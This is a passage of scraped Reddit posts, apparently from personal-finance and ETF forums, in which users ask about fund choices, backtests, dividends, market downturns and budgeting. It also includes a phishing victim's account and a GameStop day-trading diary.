stocks out of the S&P 500. It does this monthly. So it is very similar to AVUS and DFAC except with AI instead. + +[QRFT vs VOO vs VTI since June 2019](https://www.portfoliovisualizer.com/backtest-portfolio?s=y&timePeriod=2&startYear=1985&firstMonth=1&endYear=2022&lastMonth=12&calendarAligned=true&includeYTD=false&initialAmount=10000&annualOperation=0&annualAdjustment=0&inflationAdjusted=true&annualPercentage=0.0&frequency=4&rebalanceType=1&absoluteDeviation=5.0&relativeDeviation=25.0&leverageType=0&leverageRatio=0.0&debtAmount=0&debtInterest=0.0&maintenanceMargin=25.0&leveragedBenchmark=false&reinvestDividends=true&showYield=false&showFactors=false&factorModel=3&benchmark=-1&portfolioNames=false&portfolioName1=Portfolio+1&portfolioName2=Portfolio+2&portfolioName3=Portfolio+3&symbol1=QRFT&allocation1_1=100&symbol2=VOO&allocation2_2=100&symbol3=VTI&allocation3_3=100) + +[QRFT vs AVUS vs VOO vs VTI since October 2019](https://www.portfoliovisualizer.com/backtest-portfolio?s=y&timePeriod=2&startYear=1985&firstMonth=1&endYear=2022&lastMonth=12&calendarAligned=true&includeYTD=false&initialAmount=10000&annualOperation=0&annualAdjustment=0&inflationAdjusted=true&annualPercentage=0.0&frequency=4&rebalanceType=1&absoluteDeviation=5.0&relativeDeviation=25.0&leverageType=0&leverageRatio=0.0&debtAmount=0&debtInterest=0.0&maintenanceMargin=25.0&leveragedBenchmark=false&reinvestDividends=true&showYield=false&showFactors=false&factorModel=3&benchmark=-1&benchmarkSymbol=VTI&portfolioNames=false&portfolioName1=Portfolio+1&portfolioName2=Portfolio+2&portfolioName3=Portfolio+3&symbol1=QRFT&allocation1_1=100&symbol2=AVUS&allocation2_2=100&symbol3=VOO&allocation3_3=100) + +[QRFT vs DFAC vs AVUS vs VTI since July 2021](https://www.portfoliovisualizer.com/backtest-portfolio?s=y&timePeriod=2&startYear=1985&firstMonth=1&endYear=2022&lastMonth=12&calendarAligned=true&includeYTD=false&initialAmount=10000&annualOperation=0&annualAdjustment=0&inflationAdjusted=true&annualPercentage=0.0&frequency=4&rebalanceType=1&absoluteDeviation=5.0&relativeDeviation=25.0&leverageType=0&leverageRatio=0.0&debtAmount=0&debtInterest=0.0&maintenanceMargin=25.0&leveragedBenchmark=false&reinvestDividends=true&showYield=false&showFactors=false&factorModel=3&benchmark=-1&benchmarkSymbol=VTI&portfolioNames=false&portfolioName1=Portfolio+1&portfolioName2=Portfolio+2&portfolioName3=Portfolio+3&symbol1=QRFT&allocation1_1=100&symbol2=DFAC&allocation2_2=100&symbol3=AVUS&allocation3_3=100) + +It outperforms every etf in those backtests except for the July 2021 backtest. But that isn't even a 1 year backtest and every etf is negative in it. For those that aren't aware, those dates are the furthest back we can backtest with the funds' inception dates. + +This etf looks very promising. I hope they make a small cap etf soon. +I am new to investing, and just started in Jan 2021. I put half of all my savings in the world into SCHG because I thought this was "safe", and only bought a little in stocks (which I was okay with losing). I bought the SCHG at like $135 a share, and have just been watching it plummet the past few days and been feeling sick to my stomach. + +I know ETFs are a long-term investment, but I can't help but feel I bought at an all-time high because I keep reading that "tech is overvalued" (I'm not even sure what this means), and that $135 was the ATH and that's just it and it will only continue to go down from here on. I also have a lot in the ARKs, been watching those plummet too. + +I'm not sure what is normal and what isn't, how long market corrections last, etc. Just feeling very down the past few days, especially today. + +Edit: Thank you all so much for the helpful replies, they made me feel a lot better! Today will be the first day (including even on weekends) since I started investing that I do \*not\* check my portfolio! Thank you all so much :) +I just watched an interesting video about MTUM. + +Comparison Against Other ETFs (since 2003): [https://www.youtube.com/watch?v=TPSw7On2gUo](https://www.youtube.com/watch?v=TPSw7On2gUo) + +Momentum Explanation: [https://www.youtube.com/watch?v=0bD1mRsbB\_I](https://www.youtube.com/watch?v=0bD1mRsbB_I) + +The gist: + +1. Emphasizes stocks with high price momentum (large and mid cap stocks) + 1. Basically tries to take advantage of hot stocks that have shown an uptrend over the past few weeks or months. +2. Tracks MSCI USA Momentum Index which has seen 14% returns annualized since 1994 (12.1% since 2003) +3. Downside protection similar to the S&P500 (during 2007\~9 period) +4. Downside protection slightly outperformed S&P500 (during COVID) + +Snippet of VTI vs MTUM: + +&#x200B; + +https://preview.redd.it/tkqzy99o7y861.png?width=1657&format=png&auto=webp&s=69bc14b7079ff47147fe2927ad3a37c0a0ec2ad4 +So I understand that small/mid caps can have higher growth potential than large caps. That's why if you want big growth you don't look for the established elephants but look for smaller players with great potential. + +However when it comes to indexed funds/ETF : looking at US all cap market vs S&P500 (as well as Canadian all cap market vs S&P/TSX) you see that large cap indexes perform consistently as well if not better than the whole market. The large cap counterparts also tend to give a slight dividend advantage, which inches me towards thinking you are actually safer with a large cap index as you are not dealing with the inherent volatility of mid/small caps. + +What are the arguments for going for all cap market ETFs? Why is it popular wisdom that they are safer? +Good day + +I am quite new to ETFs, but have started researching and reading up on them. +From this, I have decided to set myself a monthly passive income goal by utilizing ETFs. +As the title suggests, I am looking for some advice on putting together a medium risk portfolio to reach a goal of a monthly dividend income of USD1000 a month. + +Background : +I am a non-US resident. +I have approximately USD2000 to invest each month. +Any and all dividends will be reinvested. + +I have been looking at the following ETFs listed below : +VOO +VIG +VYM +VTI +SPYD +SCHD +SPHD +QQQ + +So my questions are basically : + +1. If you had to put together a medium risk portfolio from the ETFs above, which ETF(s) would you choose and what weightings would you suggest for each? +2. I know it might be hard to answer, but what is a realistic time estimate in years that it will take in achieving a USD1000 dividend income pm from that portfolio? +3. Another question I have : Should I pay specific attention to choosing accumulating ETFs over distributing ones initially? To further clarify : the end goal is to have the dividend income be 1KUSD, but I do not require dividend income until that point is reached. + +Feel free to add any other thoughts/advice/criticisms to the above. All feedback is greatly appreciated. + +Thanks +Already have 10% SCV tilt using AVUV, +looking to tilt 10% towards LCV in my taxable. + +Any recommendations between SCHD vs SPGP vs DGRO. Backtest shows SPGP outperform the other two. Higher on expense ratio is throwing me off, while SCHD/DGRO dividend yield in Taxable might be a problem if it grows big. + +https://www.portfoliovisualizer.com/backtest-portfolio?s=y&timePeriod=2&startYear=1985&firstMonth=1&endYear=2022&lastMonth=12&calendarAligned=true&includeYTD=false&initialAmount=10000&annualOperation=0&annualAdjustment=1000&inflationAdjusted=true&annualPercentage=0.0&frequency=2&rebalanceType=1&absoluteDeviation=5.0&relativeDeviation=25.0&leverageType=0&leverageRatio=0.0&debtAmount=0&debtInterest=0.0&maintenanceMargin=25.0&leveragedBenchmark=false&reinvestDividends=true&showYield=false&showFactors=false&factorModel=3&portfolioNames=false&portfolioName1=Portfolio+1&portfolioName2=Portfolio+2&portfolioName3=Portfolio+3&symbol1=SCHD&allocation1_1=100&symbol2=SPGP&allocation2_2=100&symbol3=DGRO&allocation3_3=100 +So I started investing in ETF's about half a year ago, I am still a student at the university (in Belgium) so I don't have that much money to spend, but whatever I can miss I'm willing to put into an ETF. (Currently I'm using DeGiro as broker and solely purchasing ETF's from their 'Core ETF selection' (hence not having to pay entry fees). I yet have a lot to learn. + +At the start of my investment plan I made a mistake by 'carelessly' investing in a Vanguard S&P Distribution ETF, however for about 3 months I thought I was investing in an Accumulation ETF. Lucky for me to notice it only after 3 months. + +At the moment I have decided to just invest my monthly margin into MSCI World. Although some questions came to mind. + +&#x200B; + +\#1 I began to wonder if it would be more lucrative to either diversify my portfolio with individual ETF's (Eurostoxx, EM, S&P, ...) (A) or just invest in MSCI World for a lifetime (B), however I guess MSCI World is already very diversified? Does it also affect compounding to choose between option A or B? + +*In other terms/an example: s*ay I'd invest for the next 40 years 100% in MSCI World vs 5 macro-economic ETF's making up roughly 20% each of my portfolio? + +Also regarding option A, would it be wise to (i.e.) invest in Eurostoxx when Europe is cheap and likewise for the S&P? My gut feeling says no since you're trying to time the market, however I'd like the reader's opinion. + +&#x200B; + +\#2 I do know that since MiFID II, Europeans aren't allowed to invest in the Vanguard S&P Acc. ETF anymore? ? I found some other Acc. ETF's within the core selection that still track the S&P500 index (again, not having to pay entry fees). + +\- LU1681048804 (Amundi) + +\- IE00B5KQNG97 (HSBC) + +Are these ETF's as good as the ones at Vanguard or iShares? + +Whilst probably iShares & Vanguard being the most commonly known, does this form a problem with liquidity after investing for a lifetime (since that's what my investment plan consists of)? + +&#x200B; + +Bottom line: I do feel more secure investing in the SP500, however I'm unsure about the ETF's mentioned above. Though I guess it's the only solution when not having to pay entry fees? So perhaps the MSCI World (iShares) is the best solution? + +&#x200B; + +Thanks in advance! + +&#x200B; +Recently received \~20k $$ from an inheritance. I currently have the money in a basic savings account through TD bank. I don’t plan on needing to use the money for at least another 2-3 years. Instead of letting the money do nothing in my savings I would like to put it into the market. Which ETF’s do you all think are the safest bet? +I feel the need to get the absolute bottom, even thought that’s probably not necessary. Ill buy today, I just dont know how much I should buy. + +What do you guys think, buy today or wait for the fed? +Hi there, + +so I am fairly new investor, I did lot of digging, of course started my investing by playing with some stock picking etc. and now I moved to more long term focused investing in ETF. + +After long research I decided to go fairly conservative with the Vanguard FTSE All World Acc ETF to minimize some US economy risk and I am just going to DCA into this ETF. + +On the other hand, I am big fan of TECH and a firm believer that TECH is going to play major role in our future lives and its only going to get stronger and when the economy shines, NASDAQ returns are significantly higher. I am not really confident though in picking the "winners", especially in tech. + +&#x200B; + +* Would it be wise to include NASDAQ 100 ETF to cover the "tech" companies mostly? +* How much should i be concerned about the portfolio overlap? Nasdaq has 100 US mostly tech companies, FTSE All World has 3700+ companies and "only" 60 % US. + +I understand that some of the companies that are represented in the World FTSE are also included in the NASDAQ 100 (Apple, Google etc.). So I am getting some portfolio overlap, but how bad of an overlap it is? In the recent years the NASDAQ really outperformed FTSE world so it doesnt look like its necesarily connected and in NASDAQ I am getting much bigger exposure to tech and I am ok with taking the risk since I am fairly young and have the time (hopefully) on my side and I woul + +&#x200B; + +Thanks a lot for any advice guys. +I just started investing on February and right now, Im really hoping to look into investing into ETFs but how should I approach on picking a etf? Should I research each company on that etf? Should I research on the companies holding the majority weight of the ETF or is it just more than that? Any advice would be appreciated. +now that growth stocks have fallen dramatically, compared to the S&P, or compared to Value ETFs/Value Stocks. Would you "Buy the dip" and hope that Growth ETFs will recover in 2-3 years from now? I'm currently investing in VTI and VXUS, but wondering if I should add SCHG (Schwab large-cap growth ETF) or VUG (Vanguard large cap growth). Not really interested in QQQ, since it's not necessarily a growth ETF, it's just the top 100 Nasdaq companies. This would be for a taxable account, so I'm also not interested in Dividends. There's lots of studies that show Value stocks outperform Growth stocks over the long-term. But it really depends on when you buy/sell I think? Like Growth has had a great decade, from 2010-2020, but know knows if Value will do better from 2022-2032? How has your strategy changed during this period of high-inflation/possible recession in 2023? +Hi guys, I recently invested half of my lump sum in VTI, QQQM and VXUS. I plan to DCA the rest every month. My question is, should I DCA one particular day every month and not try to time the market, or should I look for any red days during each month and buy the dip? + +I know that it's not recommended to time the market but does it make sense to invest on the first day of each month regularly, and also buy the dip if it occurs later? Is anybody else using this hybrid strategy to lower their cost basis? + +EDIT: Thanks for the suggestions everyone! I plan to pick a day in the middle of the week and invest every month. If there is a huge dip where the prices are lower than my cost basis, I will invest more money in those positions. +I cashed out of my mutual fund after it recovered from the 2020 crash and been pouring money into my brokerage account. I hate not investing so recently, I went with these ETFs + +25 percent in XYLD, 25 percent in JEPI. The other 10 percent in MGK, IWY, IYW, VOO, and O. + +I was thinking about adding SPHD and VTV maybe and adding more into VOO and O. I know MGK and IWY are basically the same but I like the idea of having them both. + +So far it went up initially now everything portfolio wise is down 5 percent. Everything in red. + +What do you think of these choices? I believe they will recover but worried about Monday. +Hi everyone, +I am a 30’ something European investor, I already have stocks in my portfolio for growth and I was thinking about buying bondsETFs with income distribution policy for the passive income and I wanted to have your thoughts on this strategy. +I see many ETFs USD medium term bond etfs with average yield to maturity of +-4% which sounds quite ok to me in the current environment and could make for a nice stream of income…. +-If interest rates continue to increase yield will increase (even if market value decreases i can just keep it) so it means it would just make more money… +- and if inflation falls, rates will decrease and I can sell it as a higher price to go back to stocks… +I could buy later some EUR bonds once interest rates will have increased (for now its still below3%) + +However most people seem to recommend to stick mostly with stock ETFs especially when you are young . Do you have some thoughts? +I plan on doing a very risky experiment, with my idea of buying 100% into VGT only and see how it plays out seeing as to how it has outstanding returns and even during this crisis we're in it is still performing great. As far as personal beliefs go I do think it'll continue to follow the trend the it is on. I have a 20 year horizon as far as investing goes, currently 20 years young and I plan on retiring after I do my 20 years or so stint from the military so maybe around age 40-45? Mind you I am a very frugal person and I'll be doing this through my roth IRA account, for those concerned about the risk I'll be taking I plan on retiring in the Philippines anyways so even if I lose in the market I still have my american dollars to last me a long time in the Philippines! As we say in the military, should I fuckin' send it? +Hey all, I am an investor from the Eurozone, I have a few scenarios I would like to know more about if any of you are willing to clarify. + +Scenario no.1 - I buy VUAA @$70 from the LSE in USD (converted my euros before buying). After a while, S&P gains 10% value, and EURO gains 10% value over USD. Is VUAA then worth $70, $77 or $84? + +Scenario no.2 - I buy VUSA from the Frankfurt exchange @€70. After a while, S&P gains 10% value, and EURO gains 10% value over USD. Is VUSA then worth $ +€70, €77 or €84? + +Scenario no.3 - I buy IUSE eur hedged ETF @€70. After a while, S&P gains 10% value, and EURO gains 10% value over USD. Is IUSE then worth €70, €77, or €84? + +If anyone has a clear answer on all 3, those will be enough for me to grasp the technicalities of any market and currency value movements + or -. Thanks a lot and good luck. +From what I see VUG and QQQ are pretty similar weightings, but VUG is more diversified and includes some financials however QQQ has performed better in the long run. + +Then we have VGT which seems to have higher concentration in big cap tech stocks (20% apple). + +So with that said, which do you use and why? +Hi everyone, +I am a 30’ something European investor, I already have stocks in my portfolio for growth and I was thinking about buying bondsETFs with income distribution policy for the passive income and I wanted to have your thoughts on this strategy. +I see many ETFs USD medium term bond etfs with average yield to maturity of +-4% which sounds quite ok to me in the current environment and could make for a nice stream of income…. +-If interest rates continue to increase yield will increase (even if market value decreases i can just keep it) so it means it would just make more money… +- and if inflation falls, rates will decrease and I can sell it as a higher price to go back to stocks… +I could buy later some EUR bonds once interest rates will have increased (for now its still below3%) + +However most people seem to recommend to stick mostly with stock ETFs especially when you are young . Do you have some thoughts? +Hi All, + +Does anyone here primarily focus on value etfs as the core of their portfolio? I am just starting and from my research (studying CFA level 1) it seems small cap value is the way to go. + +However most people I see end up trashing this notion and suggest just going QQQm. Is there any reason to believe the growth boom will continue? + +Many thanks +Hi, +a recource ETF has a high dividend and should be kind of inflation proof, right? +Does anyone have some ideas which one should be prefered? +If there wont be rising inflation you still own a good ETF and if inflation comes along you have a little hedge in your account (5-10% ?). + +Any other opinions (please)? +I have just opened my first Roth IRA and am looking at putting my investments into ETF’s +I am considering these. Any thoughts on this strategy? I work in Construction so that might be pushing some of where I’m investing. + +Invesco Solar ETF (TAN) $39.70 +Vanguard Information Tech ETF (VGT) +$282.72 +Vanguard SP 500 ETF (VOO) $288.33 +VanEck Gold Miners ETF (GDX) $37.69 +Ishares DJ US Home Construction ETF +(ITB) $44.19 +Vanguard Short-Term Gov Bond ETF (VGSH) $62.16 +Powershares Preferred Portfolio (PGX)$14.22 +SPDR SP 500 High Dividend (SPYD)$27.55 +Global X Lithium Battery ETF (LIT) $35.18 +This is really stupid but I wanted to vent. I've been craving a milkshake. Well today I went to McDonald's to get one. Start it of with they were out of the flavor I wanted but I got another one and brought the shake home. My dog knocked it off the table and it spilled all over my floor. I got to drink maybe 20% before the accident. + +This shake cost like 4 flipping dollars and I got 20% of it. I know in the grand scheme of things it's not a big deal but it sucks. I was treating myself to something nice and it gets destroyed. + Recently I saw my future income rising and decided to lock in a lease agreement to rent a nicer apartment. I was doing well in my job and a friend's small business I had been helping for many months was beginning to turn over enough revenue to create a side stream of income. + +However what ended up happening was sales began to slump at the end of last year and the amount I had earned from my main job began to decrease. The business I had been supporting was also put into a position where it could no longer pay me for the work I was doing to help keep it running. + +All of a sudden the amount of money I was spending became more than the amount I was earning and I realized very quickly that I had made a mistake to increase the amount I was paying in rent. + +I began to feel very depressed and calculated that if I went on spending what I was currently spending with my new income I would be burning over $1000 dollars a month. + +I was in a lease for 10 more months and it would cost me over $3000 to break lease early and many more associated costs if I was going to move out of my apartment. Uh OH! There was only one option. I had to REALLY tighten the belt if I was going to survive this storm I had entered into. + +Using the spreadsheet I had used to figure out how much I was going to lose each month I went in deeper to understand not what I was spending all up but what I was spending individually. The big things were eating out, alcohol at bars and Ubers, and I also realized that I was spending about $40 a month on subscriptions too. I began to cut all of these things out, by cooking more at home and not eating out anymore. Not drinking at bars anymore and cancelling all my subscriptions and reading books from online instead. I also began to catch public transport or walk instead of taking Ubers. + +In my first month I spent $500 less, The exercise has made me go through all my expenses and now I understand how much I spend on everything each month. When COVID hit it was like I was already adjusted! Since COVID I am now spending Over $750 a month LESS! When I think of spending for convenience I think about earning that money through not choosing that option. It is very helpful. + +I also have become more confident and value money far more now. Now I know how much it costs for me to live each month. I know how long each dollar saved will support me if I lose my income entirely and see this as freedom! + +It has not been easy and I still feel depressed like today when I am worried about my future and not sleeping enough. But I wanted to write this post to remind myself of how much I’ve grown from the experience and that whatever happens it is just another opportunity for me to learn new skills and take more control and responsibility! + +I have been humbled and when I am back fully on my feet again I will not take my money for granted. I will not let myself spend more than 20% of the money that goes above my new monthly cost number. The other 80% will be saved and invested in something to secure my future and help me become less frightened and scared. + +If you are going through hard times I hope you find a way to see the light and grow stronger and more confident as a result in a way that can be maintained long term! + +Thank you for reading my story. +The Federal Reserve keeps raising interest rates higher and higher and is seeming to not have very much effect in the economy (as of now). The only thing that seems to feel the pinch of higher interest rates is less home buying and less auto purchases. + +Aside from that, inflation has barely budged, unemployment is back at historic lows at 3.5%, and inflation is still very high. + +It doesn't seem like businesses (stocks) have said announced negative effects from higher interest rates, is this mostly true overall? + +Is the stock market really down -24% prior to any real effect from higher interest rates entering the economy or is there another reason? + +It seems like a 2 part process. The fear of all these rate hikes scaring the market. Then the rate hikes finally showing real economic effects on businesses that inevitably bring the stock market another leg lower? + +I'm 30 years old and been in the stock market since 2015. So besides the rapid covid crash and recovery, I haven't really been in a long drawn out stock market recession. + +Just curious what you all think? +I don't want to come off as a killjoy; I'm as hyped as anyone here. But it was only a few days ago when everyone thought we were in the middle of a bear market, a few green candles later and it's posts calling for altseason and short squeezes. It's insane what one day of green does to people. Pumps are exciting, but we need to calm down a bit. + +Don't forget we are still in a downtrend, and history shows that pumps can disappear as fast as they appeared. + +So don't make any reckless decisions, stick to the plans you made before this pump, and calm down a bit. You'll do better if you stay humble and keep a level head on yourself. Cheers. +https://en.wikipedia.org/wiki/Dot-com_bubble#Aftermath + +If you review these companies, you'll see a lot in common with today's "growth" companies like Docusign, Roblox, Teladoc, Crowdstrike, Nvidia, Tesla, Lucid Motors, Rivian, etc. + +Pretty much all of the companies on this list were seeing rapid growth in revenues. Verticalnet, for example, IPOd with $3.6 Million in quarterly revenue, rising rapidly to $25 Million in quarterly revenue by 2000. This sent the stock price soaring, reaching a market cap of over $10 Billion. They even received +an investment from Microsoft. + +What was the fate of this company that was delivering consistent revenue growth, in an industry that was projected to grow immensely? + +If you invested right after the IPO when the valuation was $1.6 Billion, you would've seen your investment go up by 500%, or 6x, in roughly a year. Amazing, right? Well, suppose you continued to hold. + +>In 2008, Bravo Solutions acquired Verticalnet for $15.2 million. + +Even after all those gains, you would've lost 99% of your initial investment over 9 years. + +Look throughout the list, lots of companies are the same story. Companies reaches obscene valuation, later gets bought out for pennies on the dollar of what people paid. Lots of fast growing companies trading at many times revenues that provided terrible ROI. + +But what about quality blue chip companies like Nvidia? They are profitable, and aren't going anywhere and will grow with AI and Metaverse, right? + +Cisco was THE blue chip of the time to be invested in. Just as Nvidia is Powering the supposed AI and Metaverse boom, Cisco's networking equipment was powering the internet boom. + +Like Nvidia, Cisco was a profitable company with good margins, so they seemed like a safe investment. + +However, if you invested in Cisco at the peak of $80/share, you would've lost more than 80% of your investment in the ensuing crash. If you held until today(2021), you'd still be down 30%, before dividends. + +The takeaway here is that just because a company has grown consistently over the past few years does NOT mean they will continue to grow at that rate. Once a company gets big, competitors arise. Eventually the company captures the size of the market for their product, and growth slows considerably if they fail to continue to innovate in new areas. + +Roblox, for example, is already played by over half of US kids. Where is the growth from here? The stock is trading at 35x revenues and is unprofitable. We also know consumer trends change quickly. What happens if the next generation of kids play something other than Roblox? This is a risk that isn't even priced in. + +But what's the bull case? How do they possibly expand such that they produce a ROI to shareholders at current prices? + +While things still aren't quite as extreme as the tech bubble was, the same principles still apply. + +If you invest in any stock, you need to ask yourself "Am I comfortable holding those for 30 years if the price tanks, only collecting dividends?". If the answer is no, you shouldn't buy it. If you're depending on the next guy to also pay 35x revenue to buy your growth stock, you're speculating. +Hi Everyone! + +Don't have many people in my personal life I can share this with: just hit a NW of 300k CAD today. + +I started tracking my NW June of last year, started at 159k CAD. + +My NW is composed of the following: + +* 58.5% equity in 1 bedroom condo in HCOL city in Canada, where I reside alone +* 22.2% in various registered retirement funds +* 14.4% in TFSA (Registered Tax-Free Savings Account) +* 4.9% Cash + +About me: + +* Female Immigrant from Africa - came to Canada at 10 y/o +* I was at a 0 NW at 27 years old when I graduated Pharmacy School. I paid off my loans right when I graduated, leaving me with a NW of 0. Had about 60k of loans - but worked throughout summers and school. +* From the year 2017 to 2020 - was making \~110k a year, but wasn't tracking expenses, and was overspending overall. +* Found FI in 2020 and started tracking. +* Increased my income by 50% over the past year by taking on side hustles. +* None of my NW is due to any property appreciation, crypto, or inheritances. +* Over the past year, have saved 85-90% of my income (including mortgage as a savings). + +Overall, I feel still quite far behind, but am impressed with the progress I have made in less than a year! I plan on going a little easy once I reach 400k NW and have all my registered accounts maxed out. I am hoping I can reach 400k by the end of the year (bit of a stretch, I know!) + +Thank you for listening to my story! I hope to provide more in-depth analytics once I have more years under my belt! +Basically as I stated I'm looking to invest $10,000. I have an emergency fund. I have 0 debt and very low bills. My first year at my Union job is $60,000 that is the least I'll ever make. Eventually I'll earn as much as $150,000. My thoughts now are to invest in dividend stocks close to the 4% mark. And with in 5 years use my money saved plus what I've invested to purchase a small house close to $100,000 dollars. Any advice would be appreciated. + +I apologize I didn't make this clear I'm not attempting to purchase this home with 10k only. I have other savings. I'm looking to do something with 10k. And wanted advice on whether my investment idea was any good. I don't want to do daily trading I was going to leave it in there and collect the dividends. +A few hours ago, I received this text message: + +"Coinbase: We have received withdrawal request on your account from unrecognized device. If this was not you, click here: \[removed link from Reddit for safety\]" + +I was in the middle of a conversation and was completely not thinking. I clicked the link, everything looked legitimate, and I didn't receive any warning from Google or Safari. I entered my login information. + +The next steps are blurry, but I then received an email with a link that I clicked, and then provided the 2FA code code from my phone. Like I said, I was totally distracted when going through this and provided all the info. Within minutes, the entirety of my BTC (the only crypto I held) worth about $8500 was sent off to an unknown account. + +I am horribly upset and embarrassed. I'm posting here to see what my next steps should be. I have contacted Coinbase via email, really wish I could get someone on the phone. I intend to file a police report both locally and with FBI/FTC. + +Is there anything I can do? I'm going to assume this money is gone and lost but I'm just looking for advice. Thank you. +I’m a 25y/o male about one year from finishing my nursing degree here in NSW. I’ve recently had some doubts about this career being a good financial decision in comparison to some other fields. + +I know it is relatively easy to find nursing pay rates online for registered nurses but I’m finding it more difficult to guess how much I may potentially earn in my first year out of uni and the years following when factoring in overtime and penalty rates. + +Are there any nurses in this subreddit who are able to give me an indication of how much people in the profession can actually make in the first few years out of uni, any the pay progression after that? because the base rates I see posted online seem quite low and leave me feeling a little sad about my future career. + +Thanks in advance guys ! + +Edit: thanks for all the responses , it’s definitely left me feeling more confident about the future of my career in the industry ! +Atlassian recently announced permanent work from home for employees. + +Twitter / Square - permanent WFH + +Facebook - 50% permanent WFH in 5 years + +[Google](https://www.businessinsider.com/google-employees-working-from-home-summer-2021-report-2020-7) extended its work-from-home policy by an entire year on July 27. Employees don't have to return to the company's San Francisco Bay Area campus until June 2021. [Uber](https://www.businessinsider.com/uber-corporate-employees-can-work-from-home-june-2021-stipend-2020-8) just made a similar commitment. + +As for my personal experience, all of my friends in IT earning 100k - 300k a year are working from home at least till December (at this point in time). + +So with the median wage going backwards in 10 years: + +[https://www.afr.com/work-and-careers/workplace/household-income-goes-backwards-20190729-p52bpf](https://www.afr.com/work-and-careers/workplace/household-income-goes-backwards-20190729-p52bpf) + +Most of the skilled migrants I've met have moved overseas due to inability to access jobkeeper/seeker and childcare subsidies (moved back to Canada, UK, Asia etc...) + +Apartments in my suburb have been vacant since June and rents are down 100pw for 1 bedroom apartments with no takers. + +According to RLB crane index, Sydney has about 330 construction cranes in the sky, Melbourne has about 250. Australia combined has over 600 cranes in the sky, whereas all of North America (US + Canada = 300m+ population roughly 12x more than AU) has only 330 cranes in the sky. + +Considering low interest rates and wafer thin net interest margins impacting banks profitability and banks share prices down 30-50% (WBC, ANZ, NAB) from recent peaks, are people still bullish on property? If so, what's the reason? + +Curious to get people's thoughts on: + +\- Where do you see credit conditions / mortgage lending conditions in the next 12 / 24 months? + +\- With large companies (top ASX 50) committing to offshoring projects to Phillipines and existing jobs in AU hanging on with JobKeeper, do you see unemployment going up / down? + +I'm actually slightly bullish on property, cause I think new govt "planning" regulations and restrictions will compensate for all the capital losses (price) on property. I don't think yields will improve as that's tied to personal incomes, but capital gains could still continue on paper with more artificial state govt restrictions around property transactions / land / supply / regulation / development. I see NSW is keen on build to rent, what's happening in other states? +Hi UKPF, + +In short, I have 380k cash sitting in a savings account and I’m wondering what to do with it. + +I’m single, in my late 20s, earn just under 60k per year and am currently renting a one bedroom apartment at £1600 pcm. I’m not putting anything into savings right now. + +I’m considering purchasing a one bedroom property, similar to the place I am renting. In an area I’d actually want to live in, that is likely to run between 380 and 430k. + +Assuming I found a place for 380k, I was thinking I could put 300k as a deposit and take out a 5 to 10 year fixed rate mortgage for the missing chunk. My monthly repayments + service charges would still be lower than rent and I wouldn’t just be throwing money out of the window. I would keep six months’ worth of cash as an emergency fund (20k), and invest the rest in an index tracker. + +Does that approach make any sense? Should I split my assets further? Or not buy a property at all right now given the current market/Brexit insecurities? +Happy Quad-Witching Superstonk! + +What does this mean? + +Historically nothing, but it's fun to talk about : + +* Quadruple witching refers to a date on which derivatives of stock index futures, stock index options, stock options, and single stock futures expire simultaneously. + +This doesn't necessarily infer market volatility but we could see increased arbitrage and volume today + +I expect to see a lot of near OTM puts to get loaded up today with the ultimate goal to keep us trading at or near this weeks max pain of 220. + +Hopefully by close of market today we hear some confirmation on the ATM offering, regardless I expect lots of volatility next week as the Russel rebalancing occurs. + +If you guys haven't had a chance to [Check out this weeks forward looking TA](https://www.reddit.com/r/Superstonk/comments/nz1x01/jerkin_it_with_gherkinit_forward_looking_ta_for/) + +Join us in the Daily Livestream [https://www.youtube.com/c/PickleFinancial](https://www.youtube.com/c/PickleFinancial) + +Or listen along with our live audio feed on [Discord](https://discord.gg/HbqnUVsSrH) + +(save these links in case reddit goes down) + +Historical Resistance/Support: + +116.5, 125.5, 132.5, 141, 145, 147.5, 150, 152.5, **157(previous ATM offering)**, 158.5, 162.5, 163, 165.5, 172, 174, 176.5, 179, 180.5, 182, 183.5, 184.5, 186, 187.5, 190.5, 192, 195, 196.5, 197.5, 200, 209, 211.5, 214.5, 218, 226, 232.5, 235, 242.5, 250, 255, 262.5, 275, 285, 300, 302.50, 310, 317.50, 325, 332.5, 345, 350, moon base... + +# After Market + +Closed down from max pain. Today was as uneventful as expected, but at least we avoided the put gamma below 200. Stay tuned for my DD coming out this weekend and I will see you all bright and early Monday for another week of hopefully less sideways trading. + +https://preview.redd.it/p8j0p5uvy2671.png?width=702&format=png&auto=webp&s=fe1f7626d8e6101bd8a73ef0e098099d6b544e0a + +\- Gherkinit + +Edit 6 3:05 + +When people ask why we get dragged around by the market so much + +https://preview.redd.it/w202yz6lo2671.png?width=1638&format=png&auto=webp&s=8d4f27902d3c301af955efb9f6c19c5aecc103b5 + +Edit 5 2:22 + +Possible climb back to max pain intiated + +https://preview.redd.it/gfhegf8tg2671.png?width=1632&format=png&auto=webp&s=ec376dc9088c4330d1f227c46b06f1de36076f47 + +Edit 4 1:33 + +Still nothing this is just a slow day. The market is volatile but holding. GME no volume and just getting pulled around by market pressure. I expect closing at or near max pain is the best possibility for the day. + +https://preview.redd.it/f0hkiy3f82671.png?width=1647&format=png&auto=webp&s=143597e2dc17cd2e964682c49ced24866a26b8c0 + +Edit 3 11:47 + +Slow climb back up to VWAP market down but holding. The volume is awful I wouldn't be surprised if we just end near or below max pain for the week. + +https://preview.redd.it/xlxidck8p1671.png?width=1655&format=png&auto=webp&s=76034f5e376e85b7f9bf8c23e708210f999ebdbc + +Edit 2 10:20 + +SPY is stabilizing for now GME running down on non-existent volume just hit 1M for the day. I'm not super worried about the price till below 210. After 210 there is a decent amount of put pressure. + +https://preview.redd.it/xt11irnv91671.png?width=1455&format=png&auto=webp&s=79705e994e124f5f94b71710269e0bbdb396efd5 + +Edit 1 9:48 + +So GME just absolutely sideways. The market seems to be holding on. Looking to see if the spy slips 417. + +https://preview.redd.it/na4ubqe241671.png?width=1367&format=png&auto=webp&s=2819b1c336c022481d0c342bb21f67bbb8c3aca6 + +# Pre-Market Analysis + +Pre-Edit 2 8:40 + +The spy has officially entered it's correction range I was waiting to confirm this. This looks at least moderately serious. If it crosses below that lower support we may be looking at a flash crash type scenario. This could benefit GME as it can force margin calls. Remain calm while GME might not have a crazy quad-witching the rest of the market could. + +https://preview.redd.it/6c7g5u7ur0671.png?width=1636&format=png&auto=webp&s=0e2fbf87b4ddf1000d1bd554b334f0cf3011f462 + +Today will either be pretty flat with some downward pressure to maintain max pain . The shares borrowed yesterday have yet to be returned so shares available to borrow stands at 1.015M (1M from Fidelity). Pre-Market is pretty flat today Volume at 16k (8:15am EDT). With the broader market issues (SPY and RRP) and MSM pushing AMC this week we could just see more sideways trading till some sort of announcement is made. + 